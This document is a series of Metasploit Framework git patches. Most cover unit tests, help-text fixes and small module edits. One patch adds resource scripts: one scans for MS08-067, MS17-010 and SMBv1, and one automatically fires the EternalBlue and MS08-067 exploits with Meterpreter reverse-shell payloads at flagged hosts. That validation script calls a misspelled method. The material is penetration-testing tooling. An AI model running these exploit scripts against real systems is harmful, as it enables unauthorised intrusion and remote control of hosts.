+      db.cmd_workspace "-D"
+      @output = []
+    end
+
+    describe "<no arguments>" do
+      it "should list default workspace" do
+        db.cmd_workspace
+        expect(@output).to match_array [
+          "%red* default%clr"
+        ]
+      end
+
+      it "should list all workspaces" do
+        db.cmd_workspace("-a", "foo")
+        @output = []
+        db.cmd_workspace
+        expect(@output).to match_array [
+          "  default",
+          "%red* foo%clr"
+        ]
+      end
+    end
+
+    describe "-v" do
+      it "should list default workspace verbosely" do
+        db.cmd_workspace("-v")
+        expect(@output).to match_array [
+          "",
+          "Workspaces",
+          "==========",
+          "current  name     hosts  services  vulns  creds  loots  notes",
+          "-------  ----     -----  --------  -----  -----  -----  -----",
+          "*        default  0      0         0      0      0      0"
+        ]
+      end
+
+      it "should list all workspaces verbosely" do
+        db.cmd_workspace("-a", "foo")
+        @output = []
+        db.cmd_workspace("-v")
+        expect(@output).to match_array [
+          "",
+          "Workspaces",
+          "==========",
+          "current  name     hosts  services  vulns  creds  loots  notes",
+          "-------  ----     -----  --------  -----  -----  -----  -----",
+          "         default  0      0         0      0      0      0",
+          "*        foo      0      0         0      0      0      0"
+        ]
+      end
+    end
+
+    describe "-a" do
+      it "should add workspaces" do
+        db.cmd_workspace("-a", "foo", "bar", "baf")
+        expect(@output).to match_array [
+          "Added workspace: foo",
+          "Added workspace: bar",
+          "Added workspace: baf"
+        ]
+      end
+    end
+
+    describe "-d" do
+      it "should delete a workspace" do
+        db.cmd_workspace("-a", "foo")
+        @output = []
+        db.cmd_workspace("-d", "foo")
+        expect(@output).to match_array [
+          "Deleted workspace: foo",
+          "Switched workspace: default"
+        ]
+      end
+    end
+
+    describe "-D" do
+      it "should delete all workspaces" do
+        db.cmd_workspace("-a", "foo")
+        @output = []
+        db.cmd_workspace("-D")
+        expect(@output).to match_array [
+          "Deleted and recreated the default workspace",
+          "Deleted workspace: foo",
+          "Switched workspace: default"
+        ]
+      end
+    end
+
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_workspace "-h"
+        expect(@output).to match_array [
+          "Usage:",
+          "    workspace                  List workspaces",
+          "    workspace -v               List workspaces verbosely",
+          "    workspace [name]           Switch workspace",
+          "    workspace -a [name] ...    Add workspace(s)",
+          "    workspace -d [name] ...    Delete workspace(s)",
+          "    workspace -D               Delete all workspaces",
+          "    workspace -r <old> <new>   Rename workspace",
+          "    workspace -h               Show this help information"
+        ]
+      end
+    end
+  end
+end

From ecada96585066f0e74f7ef3c7b24455863e85611 Mon Sep 17 00:00:00 2001
From: Dave Farrow <farrow.daveb@gmail.com>
Date: Fri, 20 Oct 2017 21:20:36 -0700
Subject: [PATCH 032/254] #9108: fixed unit test

---
 spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 1 +
 1 file changed, 1 insertion(+)

diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
index d62f208a17..7bccc9b9cc 100644
--- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
+++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb
@@ -125,6 +125,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
           "  -a,--add          Add the hosts instead of searching",
           "  -d,--delete       Delete the hosts instead of searching",
           "  -c <col1,col2>    Only show the given columns (see list below)",
+          "  -C <col1,col2>    Only show the given columns until the next restart (see list below)",
           "  -h,--help         Show this help information",
           "  -u,--up           Only show hosts which are up",
           "  -o <file>         Send output to a file in csv format",

From afe067fca54cf35f8585cf7bf99657ebd7955985 Mon Sep 17 00:00:00 2001
From: Dave Farrow <farrow.daveb@gmail.com>
Date: Fri, 20 Oct 2017 21:22:31 -0700
Subject: [PATCH 033/254] commited file to the wrong place

---
 db_spec.rb | 389 -----------------------------------------------------
 1 file changed, 389 deletions(-)
 delete mode 100644 db_spec.rb

diff --git a/db_spec.rb b/db_spec.rb
deleted file mode 100644
index 7bccc9b9cc..0000000000
--- a/db_spec.rb
+++ /dev/null
@@ -1,389 +0,0 @@
-require 'spec_helper'
-
-require 'msf/ui'
-require 'msf/ui/console/command_dispatcher/db'
-
-RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
-  include_context 'Msf::DBManager'
-  include_context 'Msf::UIDriver'
-
-  subject(:db) do
-    described_class.new(driver)
-  end
-
-  it { is_expected.to respond_to :active? }
-  it { is_expected.to respond_to :arg_host_range }
-  it { is_expected.to respond_to :arg_port_range }
-  it { is_expected.to respond_to :cmd_db_autopwn }
-  it { is_expected.to respond_to :cmd_db_autopwn_help }
-  it { is_expected.to respond_to :cmd_db_connect }
-  it { is_expected.to respond_to :cmd_db_connect_help }
-  it { is_expected.to respond_to :cmd_db_disconnect }
-  it { is_expected.to respond_to :cmd_db_disconnect_help }
-  it { is_expected.to respond_to :cmd_db_driver }
-  it { is_expected.to respond_to :cmd_db_driver_help }
-  it { is_expected.to respond_to :cmd_db_export_help }
-  it { is_expected.to respond_to :cmd_db_hosts_help }
-  it { is_expected.to respond_to :cmd_db_import_help }
-  it { is_expected.to respond_to :cmd_db_import_tabs }
-  it { is_expected.to respond_to :cmd_db_nmap }
-  it { is_expected.to respond_to :cmd_db_notes }
-  it { is_expected.to respond_to :cmd_db_notes_help }
-  it { is_expected.to respond_to :cmd_db_rebuild_cache }
-  it { is_expected.to respond_to :cmd_db_rebuild_cache_help }
-  it { is_expected.to respond_to :cmd_db_services }
-  it { is_expected.to respond_to :cmd_db_services_help }
-  it { is_expected.to respond_to :cmd_db_status }
-  it { is_expected.to respond_to :cmd_db_vulns }
-  it { is_expected.to respond_to :cmd_db_vulns_help }
-  it { is_expected.to respond_to :cmd_hosts }
-  it { is_expected.to respond_to :cmd_hosts_help }
-  it { is_expected.to respond_to :cmd_loot_help }
-  it { is_expected.to respond_to :cmd_notes_help }
-  it { is_expected.to respond_to :cmd_services_help }
-  it { is_expected.to respond_to :cmd_vulns_help }
-  it { is_expected.to respond_to :cmd_workspace_help }
-  it { is_expected.to respond_to :cmd_workspace_tabs }
-  it { is_expected.to respond_to :commands }
-  it { is_expected.to respond_to :db_check_driver }
-  it { is_expected.to respond_to :db_connect_postgresql }
-  it { is_expected.to respond_to :db_find_tools }
-  it { is_expected.to respond_to :db_parse_db_uri_postgresql }
-  it { is_expected.to respond_to :deprecated_commands }
-  it { is_expected.to respond_to :each_host_range_chunk }
-  it { is_expected.to respond_to :make_sortable }
-  it { is_expected.to respond_to :name }
-  it { is_expected.to respond_to :set_rhosts_from_addrs }
-
-  describe "#cmd_db_export" do
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_db_export "-h"
-        expect(@output).to match_array [
-          "Usage:",
-          "    db_export -f <format> [filename]",
-          "    Format can be one of: xml, pwdump"
-        ]
-      end
-    end
-  end
-
-  describe "#cmd_db_import" do
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_db_import "-h"
-        expect(@output).to match_array [
-          "Usage: db_import <filename> [file2...]",
-          "Filenames can be globs like *.xml, or **/*.xml which will search recursively",
-          "Currently supported file types include:",
-          "    Acunetix",
-          "    Amap Log",
-          "    Amap Log -m",
-          "    Appscan",
-          "    Burp Issue XML",
-          "    Burp Session XML",
-          "    CI",
-          "    Foundstone",
-          "    FusionVM XML",
-          "    IP Address List",
-          "    IP360 ASPL",
-          "    IP360 XML v3",
-          "    Libpcap Packet Capture",
-          "    Masscan XML",
-          "    Metasploit PWDump Export",
-          "    Metasploit XML",
-          "    Metasploit Zip Export",
-          "    Microsoft Baseline Security Analyzer",
-          "    NeXpose Simple XML",
-          "    NeXpose XML Report",
-          "    Nessus NBE Report",
-          "    Nessus XML (v1)",
-          "    Nessus XML (v2)",
-          "    NetSparker XML",
-          "    Nikto XML",
-          "    Nmap XML",
-          "    OpenVAS Report",
-          "    OpenVAS XML",
-          "    Outpost24 XML",
-          "    Qualys Asset XML",
-          "    Qualys Scan XML",
-          "    Retina XML",
-          "    Spiceworks CSV Export",
-          "    Wapiti XML"
-        ]
-      end
-    end
-  end
-
-  describe "#cmd_hosts" do
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_hosts "-h"
-        expect(@output).to match_array [
-          "Usage: hosts [ options ] [addr1 addr2 ...]",
-          "OPTIONS:",
-          "  -a,--add          Add the hosts instead of searching",
-          "  -d,--delete       Delete the hosts instead of searching",
-          "  -c <col1,col2>    Only show the given columns (see list below)",
-          "  -C <col1,col2>    Only show the given columns until the next restart (see list below)",
-          "  -h,--help         Show this help information",
-          "  -u,--up           Only show hosts which are up",
-          "  -o <file>         Send output to a file in csv format",
-          "  -O <column>       Order rows by specified column number",
-          "  -R,--rhosts       Set RHOSTS from the results of the search",
-          "  -S,--search       Search string to filter by",
-          "  -i,--info         Change the info of a host",
-          "  -n,--name         Change the name of a host",
-          "  -m,--comment      Change the comment of a host",
-          "  -t,--tag          Add or specify a tag to a range of hosts",
-          "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags"
-        ]
-      end
-    end
-  end
-
-  describe "#cmd_loot" do
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_loot "-h"
-        expect(@output).to match_array [
-          "Usage: loot <options>",
-          " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]",
-          "  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]",
-          "  Del: loot -d [addr1 addr2 ...]",
-          "  -a,--add          Add loot to the list of addresses, instead of listing",
-          "  -d,--delete       Delete *all* loot matching host and type",
-          "  -f,--file         File with contents of the loot to add",
-          "  -i,--info         Info of the loot to add",
-          "  -t <type1,type2>  Search for a list of types",
-          "  -h,--help         Show this help information",
-          "  -S,--search       Search string to filter by"
-        ]
-      end
-    end
-
-  end
-
-  describe "#cmd_notes" do
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_notes "-h"
-        expect(@output).to match_array [
-          "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]",
-          "  -a,--add                  Add a note to the list of addresses, instead of listing",
-          "  -d,--delete               Delete the hosts instead of searching",
-          "  -n,--note <data>          Set the data for a new note (only with -a)",
-          "  -t <type1,type2>          Search for a list of types",
-          "  -h,--help                 Show this help information",
-          "  -R,--rhosts               Set RHOSTS from the results of the search",
-          "  -S,--search               Regular expression to match for search",
-          "  -o,--output               Save the notes to a csv file",
-          "  --sort <field1,field2>    Fields to sort by (case sensitive)",
-          "Examples:",
-          "  notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41",
-          "  notes -t smb.fingerprint 10.1.1.34 10.1.20.41",
-          "  notes -S 'nmap.nse.(http|rtsp)' --sort type,output"
-        ]
-
-      end
-    end
-
-  end
-
-  describe "#cmd_services" do
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_services "-h"
-        expect(@output).to match_array [
-          "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]",
-          "  -a,--add          Add the services instead of searching",
-          "  -d,--delete       Delete the services instead of searching",
-          "  -c <col1,col2>    Only show the given columns",
-          "  -h,--help         Show this help information",
-          "  -s <name1,name2>  Search for a list of service names",
-          "  -p <port1,port2>  Search for a list of ports",
-          "  -r <protocol>     Only show [tcp|udp] services",
-          "  -u,--up           Only show services which are up",
-          "  -o <file>         Send output to a file in csv format",
-          "  -O <column>       Order rows by specified column number",
-          "  -R,--rhosts       Set RHOSTS from the results of the search",
-          "  -S,--search       Search string to filter by",
-          "Available columns: created_at, info, name, port, proto, state, updated_at"
-        ]
-      end
-    end
-    describe "-p" do
-      before(:example) do
-        host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
-        FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp')
-        FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp')
-        FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp')
-      end
-      it "should list services that are on a given port" do
-        db.cmd_services "-p", "1024,1025"
-        expect(@output).to match_array [
-          "Services",
-          "========",
-          "",
-          "host         port  proto  name      state  info",
-          "----         ----  -----  ----      -----  ----",
-          "192.168.0.1  1024  udp    Service1  open   ",
-          "192.168.0.1  1025  tcp    Service2  open   "
-        ]
-      end
-    end
-    describe "-np" do
-      before(:example) do
-        host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
-        FactoryGirl.create(:mdm_service, :host => host, :port => 1024)
-        FactoryGirl.create(:mdm_service, :host => host, :port => 1025)
-        FactoryGirl.create(:mdm_service, :host => host, :port => 1026)
-      end
-      it "should list services that are not on a given port" do
-        skip {
-          db.cmd_services "-np", "1024"
-
-          expect(@output).to =~ [
-            "Services",
-            "========",
-            "",
-            "host         port  proto  name  state  info",
-            "----         ----  -----  ----  -----  ----",
-            "192.168.0.1  1025  snmp         open   ",
-            "192.168.0.1  1026  snmp         open   "
-          ]
-        }
-      end
-    end
-  end
-
-  describe "#cmd_vulns" do
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_vulns "-h"
-        expect(@output).to match_array [
-          "Print all vulnerabilities in the database",
-          "Usage: vulns [addr range]",
-          "  -h,--help             Show this help information",
-          "  -p,--port <portspec>  List vulns matching this port spec",
-          "  -s <svc names>        List vulns matching these service names",
-          "  -R,--rhosts           Set RHOSTS from the results of the search",
-          "  -S,--search           Search string to filter by",
-          "  -i,--info             Display Vuln Info",
-          "Examples:",
-          "  vulns -p 1-65536          # only vulns with associated services",
-          "  vulns -p 1-65536 -s http  # identified as http on any port"
-        ]
-      end
-    end
-
-  end
-
-  describe "#cmd_workspace" do
-    before(:example) do
-      db.cmd_workspace "-D"
-      @output = []
-    end
-
-    describe "<no arguments>" do
-      it "should list default workspace" do
-        db.cmd_workspace
-        expect(@output).to match_array [
-          "%red* default%clr"
-        ]
-      end
-
-      it "should list all workspaces" do
-        db.cmd_workspace("-a", "foo")
-        @output = []
-        db.cmd_workspace
-        expect(@output).to match_array [
-          "  default",
-          "%red* foo%clr"
-        ]
-      end
-    end
-
-    describe "-v" do
-      it "should list default workspace verbosely" do
-        db.cmd_workspace("-v")
-        expect(@output).to match_array [
-          "",
-          "Workspaces",
-          "==========",
-          "current  name     hosts  services  vulns  creds  loots  notes",
-          "-------  ----     -----  --------  -----  -----  -----  -----",
-          "*        default  0      0         0      0      0      0"
-        ]
-      end
-
-      it "should list all workspaces verbosely" do
-        db.cmd_workspace("-a", "foo")
-        @output = []
-        db.cmd_workspace("-v")
-        expect(@output).to match_array [
-          "",
-          "Workspaces",
-          "==========",
-          "current  name     hosts  services  vulns  creds  loots  notes",
-          "-------  ----     -----  --------  -----  -----  -----  -----",
-          "         default  0      0         0      0      0      0",
-          "*        foo      0      0         0      0      0      0"
-        ]
-      end
-    end
-
-    describe "-a" do
-      it "should add workspaces" do
-        db.cmd_workspace("-a", "foo", "bar", "baf")
-        expect(@output).to match_array [
-          "Added workspace: foo",
-          "Added workspace: bar",
-          "Added workspace: baf"
-        ]
-      end
-    end
-
-    describe "-d" do
-      it "should delete a workspace" do
-        db.cmd_workspace("-a", "foo")
-        @output = []
-        db.cmd_workspace("-d", "foo")
-        expect(@output).to match_array [
-          "Deleted workspace: foo",
-          "Switched workspace: default"
-        ]
-      end
-    end
-
-    describe "-D" do
-      it "should delete all workspaces" do
-        db.cmd_workspace("-a", "foo")
-        @output = []
-        db.cmd_workspace("-D")
-        expect(@output).to match_array [
-          "Deleted and recreated the default workspace",
-          "Deleted workspace: foo",
-          "Switched workspace: default"
-        ]
-      end
-    end
-
-    describe "-h" do
-      it "should show a help message" do
-        db.cmd_workspace "-h"
-        expect(@output).to match_array [
-          "Usage:",
-          "    workspace                  List workspaces",
-          "    workspace -v               List workspaces verbosely",
-          "    workspace [name]           Switch workspace",
-          "    workspace -a [name] ...    Add workspace(s)",
-          "    workspace -d [name] ...    Delete workspace(s)",
-          "    workspace -D               Delete all workspaces",
-          "    workspace -r <old> <new>   Rename workspace",
-          "    workspace -h               Show this help information"
-        ]
-      end
-    end
-  end
-end

From 636551aa03e4f1490b8633659c76ed69571e6483 Mon Sep 17 00:00:00 2001
From: Dave Farrow <farrow.daveb@gmail.com>
Date: Fri, 20 Oct 2017 21:32:54 -0700
Subject: [PATCH 034/254] Fixed help message to match test

---
 lib/msf/ui/console/command_dispatcher/db.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index 74f2cf3f17..f642d096da 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -432,7 +432,7 @@ class Db
         print_line "  -a,--add          Add the hosts instead of searching"
         print_line "  -d,--delete       Delete the hosts instead of searching"
         print_line "  -c <col1,col2>    Only show the given columns (see list below)"
-        print_line "  -C <col1,col2>    Only show the given columns until next restart (see list below)"
+        print_line "  -C <col1,col2>    Only show the given columns until the next restart (see list below)"
         print_line "  -h,--help         Show this help information"
         print_line "  -u,--up           Only show hosts which are up"
         print_line "  -o <file>         Send output to a file in csv format"

From ca4feb51364d0b1051e5548d949bff3f361a30bf Mon Sep 17 00:00:00 2001
From: Tim <timrlw@gmail.com>
Date: Tue, 5 Sep 2017 23:52:38 +0800
Subject: [PATCH 035/254] fix session upgrading

---
 lib/msf/ui/console/command_dispatcher/core.rb     | 11 +++--------
 modules/post/multi/manage/shell_to_meterpreter.rb |  5 -----
 2 files changed, 3 insertions(+), 13 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index 0cbc9416f5..675538ae61 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -1443,14 +1443,9 @@ class Core
             session.response_timeout = response_timeout
           end
           begin
-            if ['shell', 'powershell'].include?(session.type)
-              session.init_ui(driver.input, driver.output)
-              session.execute_script('post/multi/manage/shell_to_meterpreter')
-              session.reset_ui
-            else
-              print_error("Session #{sess_id} is not a command shell session, it is #{session.type}, skipping...")
-              next
-            end
+            session.init_ui(driver.input, driver.output)
+            session.execute_script('post/multi/manage/shell_to_meterpreter')
+            session.reset_ui
           ensure
             if session.respond_to?(:response_timeout) && last_known_timeout
               session.response_timeout = last_known_timeout
diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb
index fd865392db..1a69f54bd7 100644
--- a/modules/post/multi/manage/shell_to_meterpreter.rb
+++ b/modules/post/multi/manage/shell_to_meterpreter.rb
@@ -52,11 +52,6 @@ class MetasploitModule < Msf::Post
   def run
     print_status("Upgrading session ID: #{datastore['SESSION']}")
 
-    if session.type =~ /meterpreter/
-      print_error("Shell is already Meterpreter.")
-      return nil
-    end
-
     # Try hard to find a valid LHOST value in order to
     # make running 'sessions -u' as robust as possible.
     if datastore['LHOST']

From df14dc4452f02a14cb180a5b67ce26bb185e2d14 Mon Sep 17 00:00:00 2001
From: Maurice Popp <maurice.popp@infoguard.ch>
Date: Mon, 23 Oct 2017 09:07:46 +0200
Subject: [PATCH 036/254] autodetection fixing

---
 modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index e93adff0a2..2af58a12f4 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -227,7 +227,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
         def exploit
           if target['auto']
-            checkcode, self.target = fingerprint
+            checkcode, target = fingerprint
             fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
             target_rop, target_overwrite, target_stack_align = ropchain(target)
           else

From d8b2e7a13deb68d201de98f390e155d7f1a80658 Mon Sep 17 00:00:00 2001
From: Wei Chen <wei_chen@rapid7.com>
Date: Tue, 24 Oct 2017 09:19:02 -0700
Subject: [PATCH 037/254] Add resource scripts to check & verify common SMB
 vulnerabilities

This adds two resource scripts in order to check and verify common
SMB vuns that Metasploit can do:

* smb_checks.rc
* smb_validate.rc
---
 scripts/resource/smb_checks.rc   | 108 +++++++++++++++++++++
 scripts/resource/smb_validate.rc | 157 +++++++++++++++++++++++++++++++
 2 files changed, 265 insertions(+)
 create mode 100644 scripts/resource/smb_checks.rc
 create mode 100644 scripts/resource/smb_validate.rc

diff --git a/scripts/resource/smb_checks.rc b/scripts/resource/smb_checks.rc
new file mode 100644
index 0000000000..ab2276f517
--- /dev/null
+++ b/scripts/resource/smb_checks.rc
@@ -0,0 +1,108 @@
+<ruby>
+
+#
+# This resource scripts will check common security concerns on SMB for Windows.
+# Specifically, this script will check for these things:
+#
+#   * MS08-067.
+#   * MS17-010.
+#   * SMB version 1.
+#
+# For extra validation, you may try the smb_validate.rc script.
+#
+# Author:
+# sinn3r
+#
+
+@job_ids = []
+
+def wait_until_jobs_done
+    while true
+        @job_ids.each do |job_id|
+            current_job_ids = framework.jobs.keys.map { |e| e.to_i }
+            sleep 1 if current_job_ids.include?(job_id)
+        end
+
+        return
+    end
+end
+
+def check_ms17_010(host, serv)
+    print_status("Checking MS17-010 on #{host.address}")
+    mod = framework.modules.create('auxiliary/scanner/smb/smb_ms17_010')
+    mod.datastore['RHOSTS'] = host.address
+    mod.datastore['RPORT'] = serv.port
+    mod.run_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
+    print_status("MS17-010 job ID for target #{host.address} is: #{mod.job_id}")
+    @job_ids << mod.job_id
+end
+
+def check_ms08_067_netapi(host, serv)
+    print_status("Checking MS08-067 on #{host.address}")
+    mod = framework.exploits.create('windows/smb/ms08_067_netapi')
+    mod.datastore['RHOST'] = host.address
+    begin
+        check_code = mod.check_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
+        if mod.job_id
+            print_status("MS08-067 job ID for target #{host.address} is: #{mod.job_id}")
+            @job_ids << mod.job_id
+        end
+
+        if check_code == Msf::Exploit::CheckCode::Vulnerable
+            framework.db.report_vuln(
+                workspace: mod.workspace,
+                host: mod.rhost,
+                name: mod.name,
+                info: "This was flagged as vulnerable by the explicit check of #{mod.fullname}.",
+                refs: mod.references
+            )
+        end
+    rescue ::Exception => e
+        print_error(e.message)
+    end
+end
+
+def check_smbv1(host, serv)
+    print_status("Checking SMBv1 on #{host.address}")
+    mod = framework.modules.create('auxiliary/scanner/smb/smb1')
+    mod.datastore['RHOSTS'] = host.address
+    mod.datastore['RPORT'] = serv.port
+    mod.run_simple({ 'RunAsJob' => true, 'LocalOutput' => self.output })
+    print_status("SMBv1 check job ID for target #{host.address} is: #{mod.job_id}")
+    @job_ids << mod.job_id
+end
+
+def is_smb?(host, serv)
+    return false unless serv.host
+    return false if serv.state != Msf::ServiceState::Open
+    return false if serv.port != 445
+    true
+end
+
+def do_checks
+    print_status("Number of hosts to check: #{framework.db.workspace.hosts.length}")
+    framework.db.workspace.hosts.each do |host|
+        host.services.each do |serv|
+            next unless is_smb?(host, serv)
+            print_status("Checking #{host.address}:#{serv.port} (#{serv.name})")
+            check_smbv1(host, serv)
+            check_ms17_010(host, serv)
+            check_ms08_067_netapi(host, serv)
+        end
+    end
+end
+
+def setup
+    run_single("setg verbose true")
+end
+
+def main
+    print_status('Performing checks...')
+    do_checks
+    wait_until_jobs_done
+end
+
+setup
+main
+
+</ruby>
\ No newline at end of file
diff --git a/scripts/resource/smb_validate.rc b/scripts/resource/smb_validate.rc
new file mode 100644
index 0000000000..88332daf28
--- /dev/null
+++ b/scripts/resource/smb_validate.rc
@@ -0,0 +1,157 @@
+<ruby>
+
+#
+# This resource script will attempt to exploit the following vulnerabilities:
+#
+#   * MS08-067
+#   * MS17-010
+#
+# It works best if you can pair it with the smb_checks.rc script.
+#
+# Author:
+# sinn3r
+#
+
+@job_ids = []
+
+def wait_until_jobs_done
+    while true
+        @job_ids.each do |job_id|
+            current_job_ids = framework.jobs.keys.map { |e| e.to_i }
+            sleep 1 if current_job_ids.include?(job_id)
+        end
+
+        return
+    end
+end
+
+def ms08_067_netapi_mod
+    framework.exploits.create('windows/smb/ms08_067_netapi')
+end
+
+def ms17_010_mod
+    framework.exploits.create('windows/smb/ms17_010_eternalblue')
+end
+
+def is_port_open?(port)
+    begin
+        sock = Socket.new(Socket::Constants::AF_INET, Socket::Constants::SOCK_STREAM, 0)
+        sock.bind(Socket.pack_sockaddr_in(port, get_lhost))
+    rescue
+        return false
+    ensure
+        sock.close if sock && sock.kind_of?(Socket)
+    end
+
+    true
+end
+
+def get_x86_meterpreter_port
+    port_range = (4000..65535)
+    port_range.each do |port|
+        return port if is_port_open?(port)
+    end
+
+    raise RuntimeError, 'Unable to find a meterpreter port'
+end
+
+def get_x64_meterpreter_port
+    port_range = (3000..65535)
+    port_range.each do |port|
+        return port if is_port_open?(port)
+    end
+
+    raise RuntimeError, 'Unable to find a meterpreter port'
+end
+
+def get_x86_payload_name
+    'windows/meterpreter/reverse_tcp'
+end
+
+def get_x64_payload_name
+    'windows/x64/meterpreter/reverse_tcp'
+end
+
+def get_lhost
+    framework.datastore['LHOST']
+end
+
+def validate_ms08_067(vuln)
+    mod = ms08_067_netapi_mod
+    mod.datastore['RHOST'] = vuln.host.address
+    mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
+    mod.datastore['PAYLOAD'] = get_x86_ayload_name
+    mod.datastore['LHOST'] = get_lhost
+    mod.datastore['LPORT'] = get_x86_meterpreter_port
+    print_status("Validating MS08-067 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
+    begin
+        mod.exploit_simple({
+            'LocalOutput' => self.output,
+            'RunAsJob' => true,
+            'Payload' => get_x86_payload_name
+        })
+        @job_ids << mod.job_id
+    rescue ::Exception => e
+        print_error(e.message)
+    end
+end
+
+def validate_ms17_010(vuln)
+    mod = ms17_010_mod
+    mod.datastore['RHOST'] = vuln.host.address
+    mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
+    mod.datastore['PAYLOAD'] = get_x64_payload_name
+    mod.datastore['LHOST'] = get_lhost
+    mod.datastore['LPORT'] = get_x64_meterpreter_port
+    print_status("Validating MS17-010 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
+    begin
+        mod.exploit_simple({
+            'LocalOutput' => self.output,
+            'RunAsJob' => true,
+            'Payload' => get_x64_payload_name
+        })
+        @job_ids << mod.job_id
+    rescue ::Exception => e
+        print_error(e.message)
+    end
+end
+
+def is_smb?(host, serv)
+    return false unless serv.host
+    return false if serv.state != Msf::ServiceState::Open
+    return false if serv.port != 445
+    true
+end
+
+def do_validation
+    framework.db.workspace.vulns.each do |vuln|
+        case vuln.name
+        when /MS17\-010/i
+            validate_ms17_010(vuln)
+        when /MS08\-067/i
+            validate_ms08_067(vuln)
+        end
+    end
+end
+
+def setup
+    run_single("setg verbose true")
+end
+
+def main
+    if framework.datastore['LHOST']
+        print_status('Performing validation...')
+        begin
+            do_validation
+            wait_until_jobs_done
+        rescue RuntimeError => e
+            print_error(e.message)
+            print_error("Unable to do validation")
+        end
+    end
+end
+
+setup
+main
+
+</ruby>
\ No newline at end of file

From 270ec2e9e6cb09d0cfbef6b399b5e6360b038cda Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Tue, 24 Oct 2017 16:39:01 -0500
Subject: [PATCH 038/254] Bump rex-socket to pick up better certs

---
 Gemfile.lock | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 934e2c31f6..572a93e651 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -288,7 +288,7 @@ GEM
       metasm
       rex-core
       rex-text
-    rex-socket (0.1.8)
+    rex-socket (0.1.9)
       rex-core
     rex-sslscan (0.1.5)
       rex-core

From 80aba7264c725184d4c7583783163fbbafdbef27 Mon Sep 17 00:00:00 2001
From: RootUp <mishra.dhiraj95@gmail.com>
Date: Wed, 25 Oct 2017 10:33:25 +0530
Subject: [PATCH 039/254] Update ibm_lotus_notes2.rb

---
 modules/auxiliary/dos/http/ibm_lotus_notes2.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
index aabd3b5041..4513c9dfda 100644
--- a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
+++ b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary
           [ 'EXPLOIT-DB', '42604'],
           [ 'CVE', '2017-1130' ]
         ],
-        'DisclosureDate' => 'August 31 2017',
+        'DisclosureDate' => 'Aug 31 2017',
         'Actions'        => [[ 'WebServer' ]],
         'PassiveActions' => [ 'WebServer' ],
         'DefaultAction'  => 'WebServer'

From c4c093b249d27ce7797cb07084f7f4c5384e9b3d Mon Sep 17 00:00:00 2001
From: Pearce Barry <pearce_barry@rapid7.com>
Date: Wed, 25 Oct 2017 07:06:18 -0500
